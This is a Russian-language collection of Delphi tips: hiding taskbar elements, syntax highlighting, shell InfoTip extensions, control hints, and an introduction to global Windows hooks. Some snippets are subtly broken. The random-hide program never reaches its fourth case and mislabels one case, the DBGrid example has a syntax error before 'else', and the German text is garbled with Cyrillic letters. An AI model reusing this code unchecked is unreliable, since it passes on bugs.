TrayWnd, TrayNWnd, ClockWnd: HWND;
begin
TrayWnd := FindWindow('Shell_TrayWnd', nil);
TrayNWnd := FindWindowEx(TrayWnd, 0, 'TrayNotifyWnd', nil);
ClockWnd := FindWindowEx(TrayNWnd, 0, 'TrayClockWClass', nil);
Result := IsWindow(ClockWnd);
if Result then
begin
ShowWindow(ClockWnd, Ord(bValue));
PostMessage(ClockWnd, WM_PAINT, 0, 0);
end;
end;
// Example to hide they clock:
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowTrayClock(Boolean(0));
end;
|
Скрыть Tray, часы, кнопку ПУСК, панель задач.
program proga2;
uses
Windows;
var
Wnd: THandle; { объявляем переменные }
int: integer;
begin
Randomize; { холостой прогон генератора случайных чисел }
int := Random(3); { выбор одного варианта из четырёх }
case int of
0: { если первый вариант то }
begin
Wnd := FindWindow('Progman', nil);
Wnd := FindWindowEx(Wnd, HWND(0), 'ShellDll_DefView', nil);
{ прячем трей }
ShowWindow(Wnd, sw_hide);
end;
1: { если второй вариант то }
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0), 'TrayNotifyWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0), 'TrayClockWClass', nil);
{ прячем часы }
ShowWindow(Wnd, sw_hide);
end;
2:
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0), 'Button', nil);
{прячем кнопку "Пуск"}
ShowWindow(Wnd, sw_hide);
end;
3:
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0), 'TrayNotifyWnd', nil);
{ прячем "Панель задач" }
ShowWindow(Wnd, sw_hide);
end;
end;
end.
|
Подсветить элемент списка по движению мышки.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure TForm1.ListBox1MouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); var p: TPoint; begin p.x := x; p.y := y; ListBox1.ItemIndex := ListBox1.ItemAtPos(P, True); end;
Подсветка синтаксиса.

unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics,
Controls, Forms, Dialogs, StdCtrls, ComCtrls;
type
TForm1 = class(TForm)
RichEdit1: TRichEdit;
Button1: TButton;
OpenDialog1: TOpenDialog;
Button2: TButton;
procedure RichEdit1KeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure HighLight;
function CheckList(InString: string): boolean;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
function TForm1.CheckList(InString: string): boolean;
const TheList: array[1..13] of string = ('begin', 'or', 'end','end.',
'end;', 'then', 'var', 'for', 'do', 'if', 'to', 'string', 'while');
var X: integer;
begin
Result := false;
X := 1;
InString := StringReplace(InString, ' ', '',[rfReplaceAll]);
InString := StringReplace(InString, #$A, '',[rfReplaceAll]);
InString := StringReplace(InString, #$D, '',[rfReplaceAll]);
while X < High(TheList) + 1 do
if TheList[X] = lowercase(InString) then
begin
Result := true;
X := High(TheList) + 1;
end
else inc(X);
end;
procedure TForm1.RichEdit1KeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
var WEnd, WStart, BCount: integer;
Mark: string;
begin
if (ssCtrl in Shift) and (Key = ord('V')) then Button2Click(Self);
if (Key = VK_Return) or (Key = VK_Back) or (Key = VK_Space) then
begin
if RichEdit1.SelStart > 1 then
begin
WStart := 0;
WEnd := RichEdit1.SelStart;
BCount := WEnd - 1;
while BCount <> 0 do
begin
Mark := copy(RichEdit1.Text, BCount, 1);
if (Mark = ' ') or (Mark = #$A) then
begin
WStart := BCount;
BCount := 1;
end;
dec(BCount);
end;
RichEdit1.SelStart := WEnd - (WEnd - WStart);
RichEdit1.SelLength := WEnd - WStart;
if CheckList(RichEdit1.SelText) then
RichEdit1.SelAttributes.Style := [fsBold]
else RichEdit1.SelAttributes.Style := [];
RichEdit1.SelStart := WEnd;
RichEdit1.SelAttributes.Style := [];
end;
end;
end;
function SearchFor(WorkSpace, Search: string; Start: integer): integer;
var Temp: string;
begin
Temp := copy(WorkSpace, Start, length(WorkSpace));
Result := pos(Search, Temp);
end;
procedure TForm1.HighLight;
var WStart, WEnd, WEnd2: integer;
WorkSpace, SWord: string;
begin
WStart := 1;
WEnd := 1;
with RichEdit1 do
begin
WorkSpace := Text + ' ' + #$D#$A;
while WEnd > 0 do
begin
WEnd := SearchFor(WorkSpace, ' ', WStart);
WEnd2 := SearchFor(WorkSpace, #$A, WStart);
if WEnd2 < WEnd then WEnd := WEnd2;
SWord := copy(WorkSpace, WStart, WEnd - 1);
if (SWord <> ' ') and (SWord <>'') then
if CheckList(SWord) then
begin
SelStart := WStart - 1;
SelLength := length(SWord);
SelAttributes.Style := [fsBOLD];
SelStart := WStart + length(SWord) + 1;
SelAttributes.Style := [];
end;
WStart := WStart + WEnd;
end;
SelStart := length(Text);
SetFocus;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if OpenDialog1.Execute then
begin
RichEdit1.Lines.LoadFromFile(OpenDialog1.FileName);
HighLight;
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
RichEdit1.PasteFromClipboard;
HighLight;
end;
end.
|
Компонент для подсветки синтаксиса.
Автор: Vit WEB-сайт: http://forum.vingrad.ru Результат совместной работы Fаnаsist'а и меня. Это компонент для Дельфи для известного пакета SynEdit (http://synedit.sourceforge.net), позволяющий на лету создавать подкраску синтаксиса по любым правилам любых форматов (создание и загрузка в run-time, хранение шаблонов на диске). В настоящее время пакет включает в себя более 300 готовых шаблонов для наиболее распространённых форматов, но каждый может создать свой собственный шаблон (можно с помошью компонента или используя прилагающуюся утилиту). Пример использования - простенький текстовый редактор с поддержкой любых расскрасок. Загрузить можно с: http://chicago.lastplanet.com/unihighlighter.zip Платформа: Delphi 5/6 Для работы необходимо установить предварительно установить пакет SynEdit: http://synedit.sourceforge.net Компонент свободен для распространения и поставляется с исходными кодами. Логика работы: Для подкраски синтаксиса необходимо предусмотреть следующие правила: 1) расскраска всего кода в промежутке от одного слова до второго - например комментарии /*...*/ или строки "...." 2) расскраска ключевых слов Это реализовано, кроме того бывают ситуации когда промежуток должен быть расскрашен по другому с другими правилами например ASP код внутри HTML или ассемблерные вставки внутри Дельфи - это тоже реализовано тем что внутри промежутка можно использовать свои правила и промежутки. Вложенность не лимитирована. Всем кому интересно, я создал форум для обсуждения компонента, правда сообщения писать только на английском, там уже идёт дисскуссия с авторами проекта SynEdit:http://www.delphist.com/forum/
Расширения оболочки Windows - Всплывающие подсказки.
С каждой новой версией Windows, её оболочка (shell) приобретает всё больше и больше различных возможностей. Обычно эти возможности добавляются через расширения оболочки, которые позволяют разработчикам добавлять различные возможности в существующую оболочку Windows. Вот некоторые примеры расширений оболочки: Context Menus (меню, зависящее от объекта, на котором кликнули правой кнопкой мыши), Property Sheet Handlers (страницы в виде закладок, которые появляются в случае выбора пункта контексного меню Properties), Folder Customization, и т.д.
На сайте Microsoft доступно большое количество информации о расширениях оболочки, но эта информация мало полезна Delphi аудитории. Итак давайте рассмотрим расширение оболочки под названием "Всплывающие подсказки" (InfoTip), которые появляются в эксплорере, при наведении мышкой на файл.
Расширения оболочки – Краткий обзор
Расширения оболочки существуют в виде In Process COM серверов. В ответ на определённые события оболочки проводник вызывает соответствующее расширение. Проводник очень специфически реагирует на различные функции в пределах оболочки. Первое, что делает Проводник - это проверяет модули, которые были зарегистрированы для определённого события и, если таковой существует, то загружает данный модуль.
Чтобы быть расширением оболочки, COM сервер должен включать в себя интерфейс, который определяет специфическое поведение для данного расширения, а так же он должен включать в себя интефейс инициализации. Наконец, чтобы быть расширением оболочки, COM сервер должен следовать определённым в системе методам регистрации.
Следующая таблица представляет собой список всех существующих на сегодняшний день расширений оболочки, а так же их минимальных версий, учавствующих интерфейсов и их описаний:
| Context Menu | File class and shell’s object | Windows 95+ | IContextMenu, IContextMenu2, или IContextMenu3 | Позволяет добавлять новые пункты в контекстное меню объекта оболочки. |
| Right Drag and Drop | File class and shell’s object | Windows 95+ | IContextMenu, IContextMenu2, или IContextMenu3 | Позволяет добавлять новые пункты в контекстное меню, при перетаскивании правой кнопкой мыши и отпускании файлов. |
| Drawing Shell Icons | File class and shell’s object | Windows 95+ | IExtractIcon | Позволяет решить в данный момент, какая будет отображаться иконка для данного файла. |
| Property Sheet | File class and shell’s object | Windows 95+ | IShellPropSheetExt | Позволяет добавлять дополнительные страницы property sheet в диалог свойств файла. Так же это работает для Панели управления. |
| Left Drag and Drop | File class and shell’s object | Windows 95+ | IDropTarget | Позволяет решать - что делать с перетаскиваемым объектом (используя левую кнопку мыши) на другой объект в оболочке. |
| Clipboard | File class and shell’s object | Windows 95+ | IDataObject | Позволяет Вам определить, как объект скопирован и извлечён из буфера обмена. |
| File Hook | Windows 95+ | ICopyHook | Позволяет контролировать некоторые файловые операции, которые происходят черех оболочку. Вы можете разрешить или запретить их, но Вы не сможете получать уведомление об успешности операции или об ошибке. | |
| Program Execution | Explorer | Desktop Update | IShellExecuteHook | Позволяет перехватывать некоторые выполнения программ, которые происходят через оболочку. |
| Infotip | File class and shell’s object | Desktop Update | IQueryInfo | Позволяет отображать короткие текстовые сообщения, когда курсор мышки находится на определённом файле. |
| Column | Folders | Windows 2000 | IColumnProvider | Позволяет добавлять новую колонку в режиме отображения Details в Проводнике. |
| Icon Overlay | Explorer | Windows 2000 | IShellIconOverlay | Позволяет определить собственные изображения, которые будут использоваться как иконки. |
| Search | Explorer | Windows 2000 | IContextMenu | Позволяет добавить новую ячейку в меню "Найти" (в меню, открывающемся при нажатии на "Пуск"). |
| Cleanup | Cleanup Manager | Windows 2000 | IEmptyVolumeCache2 | Позволяет добавить новую ячейку в Менеджер Очистки для восстановления дискового пространства. |
Всплывающие подсказки – Введение и обзор
Infotip-ы это всплывающие окна подсказки, которые появляются в случае, если курсор мышки находится над любым файлом. Если расширения для файла не было зарегистрировано, то будет высвечиваться окошко с подсказкой по умолчанию, однако Вы можете создать своё собственно расширение для отображения информации об определённом типе файла. Например, Office 2000 инсталирует обработчики для MS Word и MS Excel, которые отображают Имя, Автора и заголовок из свойств документа. Расширения Infotip отличаются от других расширений оболочки по регистрации. Об этом мы поговорим позже, когда перейдём к регистрации нашего расширения Infotip.
Implementing Infotip Extensions
Расширение Infotip является In-Process (Inproc) COM Server. Это значит, что Infotip является обыкновенной Windows DLL, которая экспортирует необходимые методы, чтобы быть как обыкновенным элементом управления ActiveX. Расширение Infotip так же включает IQueryInfo и IPersistFile и должна самостоятельно регистрировать себя в реестре. В виду того, что IQueryInfo и IPersistFile являются интерфейсами, то они не содержат исходного кода своих методов. Поэтому наш объект включает в себя каждый метод, определённый в обоих интерфейсах; однако, некоторые из методов не являются необходимыми для нашего расширения Infotip, поэтому мы просто возвращаем E_NOTIMPL, чтобы показать, что они не осуществимы.
IQueryInfo обеспечивает отображение текста во всплывающем окошке и содержит два метода: GetInfoFlags – Получает информационные флаги. На текущий момент это метод не используется, поэтому возвращаем E_NOTIMPL. GetInfoTip – Получает текст Infotip-а.
GetInfoTip определена следующим образом:
function GetInfoTip(dwFlags: DWORD; var ppwszTip: PWideChar): HResult; stdcall; |
Важное замечание Параметр ppwszTip метода GetInfoTip - это указатель на строковый буфер Unicode, который содержит текст, отображаемый в всплывающем информационном поле. Этот буфер должен быть распределен, используя стандартную программу распределения памяти оболочки, потому что буфер распределен нашим приложением, но освобожден оболочкой. Чтобы быть уверенным, что всё пройдёт успешно, используйте SHGetMalloc для получения указателя на программу распределения памяти оболочки - объект IMalloc. Затем используйте метод Alloc из IMalloc-а для распределения необходимой памяти для буфера содержащего Unicode представление текста Infotip.
Исходник содержит стандартный код, который Вы можете использовать для всех расширений Infotip, которые Вы создадите.
IPersistFile это то, при помощи чего оболочка обеспечивает расширение информацией о файле, на котором находится курсор. В интерфейсе определены пять методов:
IsDirty проверяет объект на предмет изменений, сделанных в текущем файле. Наше расширение не требует данного метода, поэтому возвращаем E_NOTIMPL. Load открывает указанный файл и инициализирует объект из содержимого файла. Мы будем использовать этот метод для получения имени файла, на котором находится курсор. Save сохраняет объект в указанном файле. Мы его не используем и возвращаем E_NOTIMPL. SaveCompleted уведомляет объект, о том, что он может быть переведён из режима NoScribble в режим Normal. Не используем, поэтому возвращаем E_NOTIMPL. GetCurFile получает текущее имя файла, связанного с объектом. Тоже возвращаем E_NOTIMPL.Load определена следующим образом:
function Load(pszFileName: PoleStr; dwMode: LongInt): HResult; stdcall; |
Чтобы получить имя файла и его путь, мы будем использовать только IPersistFile; фактически мы не используем интерфейс для доступа к файлу, поэтому игнорируем флаги. Стандартная реализация метода Load сохраняет содержимое pszFileName в приватную переменную, которая будет использоваться в IQueryInfo::GetInfoTip для расположения файла.
Регистрация расширения Infotip
Регистрация происходит в два этапа:
При помощи regsvr32.exe регистрируется COM DLL (Пуск (Start)..Выполнить(Run))
regsvr32 "C:\...\DPRInfoTip.dll" |
По умолчанию значение для нового ключа должно быть CLSID объекта COM, который содержит расширение оболочки. Данное значение можно получить из файла Type Library, который был сгенерирован Delphi (имя файла оканчивается на "_TLB.pas"). Для нашего примера расширения CLSID назван CLASS_DPRInfoTip и содержит значение "{B20433A8-D083-11D4-993A-00D00912C440}".
Самый простой способ внести изменения в реестр - это сделать копию файла .REG, содержащуюся в исходниках проекта. Просто измените CLSID и расширение файла на необходимые значения.
Одно важное замечание: Если Вы регистрируете расширение оболочки в Windows NT или 2000, то необходимо войти в систему с правами администратора.
Как показать подсказки Hints для элементов меню.
В примере создается обработчик события Application.Hint - подсказки меню изображаются на status Panel:
type
TForm1 = class(TForm)
Panel1: TPanel;
MainMenu1: TMainMenu;
MenuItemFile: TMenuItem;
MenuItemOpen: TMenuItem;
MenuItemClose: TMenuItem;
OpenDialog1: TOpenDialog;
procedure FormCreate(Sender: TObject);
procedure MenuItemCloseClick(Sender: TObject);
procedure MenuItemOpenClick(Sender: TObject);
private
{Private declarations}
procedure HintHandler(Sender: TObject);
public
{Public declarations}
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
Panel1.Align := alBottom;
MenuItemFile.Hint := 'File Menu';
MenuItemOpen.Hint := 'Opens A File';
MenuItemClose.Hint := 'Closes the Application';
Application.OnHint := HintHandler;
end;
procedure TForm1.HintHandler(Sender: TObject);
begin
Panel1.Caption := Application.Hint;
end;
procedure TForm1.MenuItemCloseClick(Sender: TObject);
begin
Application.Terminate;
end;
procedure TForm1.MenuItemOpenClick(Sender: TObject);
begin
if OpenDialog1.Execute then
Form1.Caption := OpenDialog1.FileName;
end;
|
Выводим подсказки на TStatusBar.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
private
procedure MyHint(Sender: TObject);
end;
implementation
{....}
procedure TForm1.FormCreate(Sender: TObject);
begin
Application.OnHint := MyHint;
ShowHint := True;
Button1.Hint := 'normal yellow hint|Text in Statusbar';
Button2.Hint := 'only yellow hint|';
Button3.Hint := '|text only in statusbar';
Edit1.Hint := 'same text';
end;
procedure TForm1.MyHint(Sender: TObject);
begin
StatusBar1.SimpleText := Application.Hint;
end;
Использование всплывающих подсказок HINTS.
Оформил: DeeCo
Автор: Serzs.
1.Отображение полных строк списка при перемещении мыши по списку 2.Свои собственные hint-ы для генерации сообщений об ошибках от конкретных компонент на форме 1.Отображение полных строк списка при перемещении мыши по списку Предположим, у нас есть список строк, причем все строки или некоторые не влазят по ширине. Пользоваться прокруткой не всегда удобно. Возможно использование другого варианта. Мышкой проводим по списку и, если строка не влазит по ширине, то появляется Hint, содержащий текущую строку целиком, причем прямо поверх самой строки! Идея подходит ? Тогда это можно реализовать, например, так ... Текст формы примера :
object MainForm: TMainForm
Left = 7
Top = 121
Width = 200
Height = 157
Hint = '34534535'
Caption = 'Long hints'
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -13
Font.Name = 'MS Sans Serif'
Font.Style = []
ShowHint = True
OnCreate = FormCreate
PixelsPerInch = 120
TextHeight = 16
object ListBox1: TListBox
Left = 12
Top = 12
Width = 165
Height = 97
Hint = '1|2'
ItemHeight = 16
Items.Strings = (
'1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ'
'A1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ'
'1234567890'
'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
'ABCD')
ParentShowHint = False
ShowHint = True
TabOrder = 0
OnMouseMove = ListBox1MouseMove
end
end
Текст модуля :
unit Main;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TMainForm = class(TForm)
ListBox1: TListBox;
procedure FormCreate(Sender: TObject);
procedure ListBox1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
private
{ Private declarations }
FHintRow: Integer; // Номер строки в списке, на которую указывает мышь
public
{ Public declarations }
// Обработчик подсказок
procedure OnShowHint(var HintStr: string;
var CanShow: Boolean;
var HintInfo: THintInfo);
end;
var
MainForm: TMainForm;
implementation
{$R *.DFM}
procedure TMainForm.FormCreate(Sender: TObject);
begin
FHintRow := -1;
Application.OnShowHint := OnShowHint; // Установка обработчика
end;
procedure TMainForm.OnShowHint(var HintStr: string;
var CanShow: Boolean;
var HintInfo: THintInfo);
var
Pos: TPoint;
begin
with HintInfo do
if HintControl is TListBox then // Проверка на нужный объект
with HintControl as TListBox do
begin
Pos.X := 0;
Pos.Y := ListBox1.Tag;
HintPos := ListBox1.ClientToScreen(Pos);
HintStr := ListBox1.Hint;
end;
end;
procedure TMainForm.ListBox1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
var
MousePos: TPoint;
ItemPos: TRect;
RowWidth,
ItemNum: Integer;
FHint: string;
begin
MousePos.X := X;
MousePos.Y := Y;
ItemNum := ListBox1.ItemAtPos(MousePos, True);
// Определение номера строки в списке
if (ItemNum <> FHintRow) then // Проверка на перемещение мыши на другую строку
begin
FHintRow := ItemNum;
if ItemNum <> -1 then // Проверка на наличие элементов в списке
begin
ItemPos := ListBox1.ItemRect(ItemNum);
Application.CancelHint; // Снять текущую подсказку
ListBox1.Tag := ItemPos.Top; // Запоминаем позицию строки по вертикали
FHint := ListBox1.Items[ItemNum];
// Проверка на ширину строки
RowWidth := ListBox1.Canvas.TextWidth(FHint);
if (RowWidth > ListBox1.ClientWidth) then
FHint := FHint + '|'
else
FHint := '';
ListBox1.Hint := FHint;
end
else
begin
ListBox1.Hint := '';
Application.CancelHint;
ListBox1.Tag := -1;
end;
end
end;
end.
Текст проекта :
program PrjHint;
uses
Forms,
Main in 'Main.pas' {MainForm};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TMainForm, MainForm);
Application.ShowHint := True;
Application.HintPause := 100;
Application.HintHidePause := 999999;
Application.Run;
end.
Автор: Сергей Королев.
2.Свои собственные hint-ы для генерации сообщений об ошибках от конкретных компонент на форме. Download Hint.zip Файл Hint.pas содержит несколько функций, реализующих создание собственных "подсказок" типа Hint-ов. Использовать их очень удобно в качестве конкретного сообщения об ошибке с указанием какой именно компонент на форме и вызвал эту ошибку. Hint-ы выводятся белым на красном фоне и позиционируются возле указанного компонентаprocedure ShowErrorHintEx(AControl: TWinControl; const Hint: string); AControl - компонент, к которому "подвешивается" hint Hint - выводимый текст
Hint в выпадающем списке ComboBox.
| Чем компьютер похож на мужчину? 1. Считает себя умным, но не может обойтись без мамы; 2. Ткнешь пальцем - он и заведется; 3. Требует множества игрушек и примочек; 4. Всегда мечтает попасть в сети; 5. У него все падает с завидной периодичностью; 6. К нему лучше не подходить сзади; 7. Так и норовит задать дурацкий вопрос; 8. Любит, чтобы с него сдували пылинки и промывали спиртом; 9. Не выносит резких перепадов напряжения; 10. Сначала зависает, а потом вырубается; 11. Жалуется на нехватку памяти, хотя на самом деле недостает мозгов; 12. Бурчит, когда его грузят; 13. Сам ничего не может: все зависит от того, кто им пользуется; 14. Когда надоедает приводить в порядок, наконец понимаешь - себе дешевле обзавестись новым. |
В своем компоненте объявите FTipHint:
type TVSComboBox = class(TCustomComboBox) … private FHint: THintWindow; … protected procedure WMCTLCOLORLISTBOX(var Message: TMessage); message WM_CTLCOLORLISTBOX; |
И не забудьте выполнить инициализацию в конструкторе вашего компонента:
begin inherited Create(AOwner); FHint := THintWindow.Create(Self); |
Чтобы получить информацию об активной строке в выпадающем списке ComboBox перехватите сообщение WM_CTLCOLORLISTBOX. В процедуре сообщения анализируйте - если длина строки больше ширины выпадающего списка – передайте "длинную" строку в ваш Hint и активируйте его:
FHint.ActivateHint(TextRC, Items[ItemIndex]); |
Если активная строка в выпадающем списке "короткая" – спрячьте Hint:
FHint.ReleaseHandle; |
Для получения подробной информации о классе THintWindow воспользуйтесь Help из Delphi.
Как вывести Hint для ячейки DBGrid.
Создайте на форме DataSource1, Table1, DataSource2, Table2, DBGrid1. Table1 и Table2 свяжите со своей базой данных. DataSource1 и DataSource2 свяжите соответственно с Table1 и Table2. DBGrid1 свяжите с DataSource1 Table2 и DataSource2 нужны для доступа к какой-нибудь ячейке. Другой способ без их использования: при отрисовке значений ячеек (соответствующее событие), необходимо запомнить значения всех ячеек, находящихся на экране и производить выбор среди них.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs, Grids, DBGrids, Db, DBTables;
type
TForm1 = class(TForm)
DataSource1: TDataSource;
Table1: TTable;
DBGrid1: TDBGrid;
Table2: TTable;
DataSource2: TDataSource;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
procedure AppMess(var Msg: TMsg; var Handled: Boolean);
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.AppMess(var Msg: TMsg; var Handled: Boolean);
var
X, Y: integer;
gpt: TGridCoord;
s: string;
w, len: integer;
begin
if Msg.message=WM_MOUSEMOVE then
begin
if Msg.hwnd=DBGrid1.Handle then
begin
x:=LoWord(Msg.lParam);
y:=HiWord(Msg.lParam);
gpt:=DBGrid1.MouseCoord(x,y);
{получить строку и солбец, в которых находится курсор}
if (gpt.x>0) and (gpt.y>0) then
begin
DataSource2.DataSet.First;
DataSource2.DataSet.MoveBy(gpt.y-1);
s:=Table2.Fields[gpt.x-1].asString;
w:=DBGrid1.Columns[gpt.x-1].Width;
{получить ширину столбца}
len:=DBGrid1.Canvas.TextWidth(s);
{получить длину строки в пикселах}
if len > w then
DBGrid1.Hint:=s;
else
DBGrid1.Hint:='';
end;
end;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
DBGrid1.ShowHint := True;
Application.OnMessage := AppMess;
end;
end.
|
Функция, которая работает быстрее чем HiWord.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
The HiWord function retrieves the high-order word from the given 32-bit value. Instead of using HiWord(var32) use: Word(var32 shr 16) this is over 60% faster then calling HiWord() function. Don't make procedure or function out of it (you'll kill the speed). You could use Word(var32) over LoWord(var32) but it''s less then 1% faster. ******** Die HiWord Funktion extrahiert die das hцhегwегtigе Wort (Word) von einem gegebenen 32-bit Wert. Anstelle von HiWord(var32) Verwende: Word((var32 shr 16) Dies ist ььег 60% schneller als die HiWord() Funktion Man кцnntе auch Word((var32) anstatt LoWord((var32) aber dies ist weniger als 1% schneller.Hooks - аспекты реализации.
| Автор: Алексей Павлов |
| - Почему книги Б. Гейтса выходят в двух томах? - Второй том - раtсh к первому... |
Моя обзорная статья на тему вариантов использования динамически компонуемых библиотек (DLL) вызвала множество вопросов, большая часть которых касалась использования глобальных ловушек (Hook) и размещению разного рода ресурсов в DLL. О ресурсах поговорим в следующий раз, а пока попробуем разобраться с ловушками.
Скачать проект: Hooks.zip (76 K).
Сразу хочу сделать несколько оговорок: речь в дальнейшем пойдёт только о 32-х разрядной Windows и о глобальных ловушках, т.к. именно при их программировании возникает большинство ошибок; все примеры будут даваться на Delphi, т.к. примеров и описаний для любителей С++ достаточно.
Давайте сначала разберёмся почему, иногда, даже опытные программисты допускают ошибки при написании глобальных ловушек. Первая, и самая распространённая причина: многие программисты, перейдя от 16-ти разрядной к 32-х разрядной Windows, порой забывают об изолированности адресных пространств процессов, такая забывчивость прощается при написании локальных ловушек, в случае с глобальными она может стать фатальной (подробнее об этом рассказано дальше в статье). Второй причиной является то, что в SDK (да и в MSDN тоже) даётся недостаточно информации по данной тематике, а та что есть часто трактуется неверно. Третья причина… хотя, думаю, стоит остановиться пока на этом.
Дальнейшее повествование предполагает, что читатель знаком с основными принципами работы с DLL и хотя бы в общих чертах представляет механизм их написания.
Что же происходит в системе когда мы "ставим" ловушку и что это вообще такое - ловушка ?
Ловушка (hook) - это механизм Windows, позволяющий перехватывать события, предназначенные некоторому приложению, до того как эти события до этого приложения дойдут.
Функции-фильтры - это функции, получающие уведомления о произошедшем событии от ловушки.
В зависимости от типа ловушки функции-фильтры могут изменять события, отменять их или просто реагировать на них. Таким образом, когда мы говорим "установил ловушку" мы подразумеваем процесс прикрепления функции-фильтра к выбранному нами типу ловушки. Итак, когда мы в своей программе используем функцию SetWindowsHookEx мы прикрепляем функцию-фильтр, указатель на которую мы и передаём вторым параметром, пример:
SetWindowsHookEx(WH_SHELL, @ShellHook, HInstance, 0); |
Что же происходит после того, как мы установили глобальную ловушку ? Понимание следующего параграфа является ключом для понимания механизма работы ловушек Windows, располагающихся в DLL. Если вы не поймёте его, вернитесь и перечитайте заново и так до тех пор, пока всё не станет ясным.
Наш Process1 устанавливает глобальную ловушку из DLL находящейся в адресном пространстве (АП) нашего процесса (Process1). DLL, находящаяся в АП процесса1 имеет свои данные. Когда система посылает событие, на которое мы установили ловушку, в Process2, то в Process2 отображается код DLL, находящийся в первом процессе (Dll code), НО НЕ ДАННЫЕ ! Все данные, только что отображённой в Process2 DLL, инициализируются заново (т.е. равны 0, nil, False в зависимости от типа). То есть, Process2 знать не знает о существовании Process1, и всё что в нём находится никак не относится к АП первого процесса, из которого произошло отображение кода DLL. В библиотеки, находящиеся не в АП вашего процесса, можно посылать только процессо-независимые данные, такие как, к примеру, дескрипторы окон (под термином "посылка" в данном случае подразумевается использование функций PostMessage() и SendMessage()).
Если выше прочитанное вам понятно, то продолжим наш разговор и рассмотрим, что происходит, когда мы устанавливаем вторую ловушку такого же типа, что и первая. При установке в системе двух одинаковых ловушек Windows выстраивает их в цепочку. Когда система посылает сообщение, на которое мы установили ловушки, то первой срабатывает последняя ловушка в цепочке, т.е. hook.
О том, что бы сообщение дошло до n-1 ловушки (hook n-1) должен позаботится сам программист. Вот на этом-то этапе очень часто возникают ошибки.
Для вызова следующей ловушки в цепочке ловушек в Windows используется функция CallNextHookEx, первым параметром которой является дескриптор текущей ловушки, получаемый функцией SetWindowsHookEx. Теперь внимание: мы установили ловушку в Process1, т.е. функция SetWindowsHookEx выполнялась в DLL, находящейся в АП Process1 и, соответственно, дескриптор установленной ловушки возвращаемый функцией SetWindowsHookEx принадлежит данным DLL, находящимся в АП Process1. Пусть в Process2 возникает событие на которое поставлена ловушка, тогда Dll из первого процесса проецируется на АП Process2, а данные DLL в Process2 инициализируются заново, и получается, что в Process2 в переменной, в которой "лежал" дескриптор поставленной ловушки в Process1, будет равен 0. Функция-фильтр Process2, отработав, должна будет передать сообщение дальше по цепочке ловушек, т.е. выполнить функцию CallNextHookEx, первым параметром которой должен быть дескриптор текущей ловушки, но в данных DLL, находящейся в Process2 нет этого дескриптора (переменная, которая должна содержать его содержит ноль). "Как же быть в таком случае ? Как же нам узнать дескриптор ловушки, поставленной в другом процессе, если сами процессы ничего не знают друг о друге ?" - спросите вы. На этот вопрос я отвечу чуть позже, а пока давайте поверхностно пробежимся по типам ловушек, хотя информация о типах полностью приведена в SDK.
Как мы уже знаем, ловушка устанавливается с помощью Win32 API функции SetWindowsHookEx():
function SetWindowsHookEx(idHook: integer; lpfn: TFNHookProc; hmod: HINST; dwThreadID: DWORD): HHOOK; stdcall; |
IdHook: описывает тип устанавливаемой ловушки. Данный параметр может принимать одно из следующих значений:
| WH_CALLWNDPROC | Фильтр процедуры окна. Функция-фильтр ловушки вызывается, когда процедуре окна посылается сообщение. Windows вызывает этот хук при каждом вызове функции SendMessage. |
| WH_CALLWNDPROCRET | Функция-фильтр, контролирующая сообщения после их обработки процедурой окна приемника. |
| WH_CBT | В литературе встречаются следующие названия для этого типа фильтров: "тренировочный" или "обучающий". Данная ловушка вызывается перед обработкой большинства сообщений окон, мыши и клавиатуры. |
| WH_DEBUG | Функция-фильтр, предназначенная для отладки. Функция-фильтр ловушки вызывается перед любой другой ловушкой Windows. Удобный инструмент для отладки и контроля ловушек. |
| WH_GETMESSAGE | Функция-фильтр обработки сообщений. Функция-фильтр ловушки вызывается всегда, когда из очереди приложения считывается любое сообщение. |
| WH_HARDWARE | Функция-фильтр, обрабатывающая сообщения оборудования. Функция-фильтр ловушки вызывается, когда из очереди приложения считывается сообщение оборудования. |
| WH_JOURNALPLAYBACK | Функция-фильтр вызывается, когда из очереди системы считывается любое сообщение. Используется для вставки в очередь системных событий. |
| WH_JOURNALRECORD | Функция-фильтр вызывается, когда из очереди системы запрашивается какое-либо событие. Используется для регистрации системных событий. |
| WH_KEYBOARD | Функция-фильтр "обработки" клавиатуры. Наверное, наиболее часто используемый тип ловушки. Функция-фильтр ловушки вызывается, когда из очереди приложения считывается сообщения wm_KeyDown или wm_KeyUp. |
| WH_KEYBOARD_LL | Низкоуровневый фильтр клавиатуры. |
| WH_MOUSE | Функция-фильтр, обрабатывающая сообщения мыши. Функция-фильтр ловушки вызывается, когда из очереди приложения считывается сообщение мыши. |
| WH_MOUSE_LL | Низкоуровневый фильтр мыши. |
